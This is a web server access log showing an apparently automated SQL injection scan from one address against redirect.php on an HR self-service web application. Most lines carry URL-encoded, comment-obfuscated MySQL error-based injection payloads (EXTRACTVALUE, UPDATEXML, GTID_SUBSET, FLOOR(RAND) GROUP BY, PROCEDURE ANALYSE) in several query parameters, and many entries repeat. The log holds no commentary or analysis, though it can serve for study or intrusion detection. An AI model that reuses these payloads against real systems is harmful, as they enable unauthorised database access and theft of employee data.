100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4c6a5173%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x724d6751%29%29x%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x45513263%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a317875%29%29x%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:48 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x54765770%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57514457%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x54765770%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57514457%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x64636858%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59436556%29%2C6420%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x64636858%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59436556%29%2C6420%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6c576d47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x746f4c59%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6c576d47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x746f4c59%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x64746568%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x686b6b6a%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x64746568%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x686b6b6a%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x61425856%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58414144%29%2C5431%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x61425856%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58414144%29%2C5431%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x35417350%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44536e6d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x35417350%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44536e6d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x59436953%2C%28NULL%29%2C0x3176765a%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x59436953%2C%28NULL%29%2C0x3176765a%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x68787674%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41537375%29%2C5431%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x68787674%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41537375%29%2C5431%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x357a7742%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78784a31%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FcEJ1%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x357a7742%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78784a31%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FcEJ1%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x5077684d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51457359%29%29%2C1%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x5077684d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51457359%29%29%2C1%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x48737876%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41376153%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x48737876%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41376153%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x53566545%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f7a524b%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x53566545%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f7a524b%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4174537a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45767a39%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4174537a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45767a39%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6d6d706b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7869576c%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6d6d706b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7869576c%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x39674f4b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55336b42%29%29%2C1%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
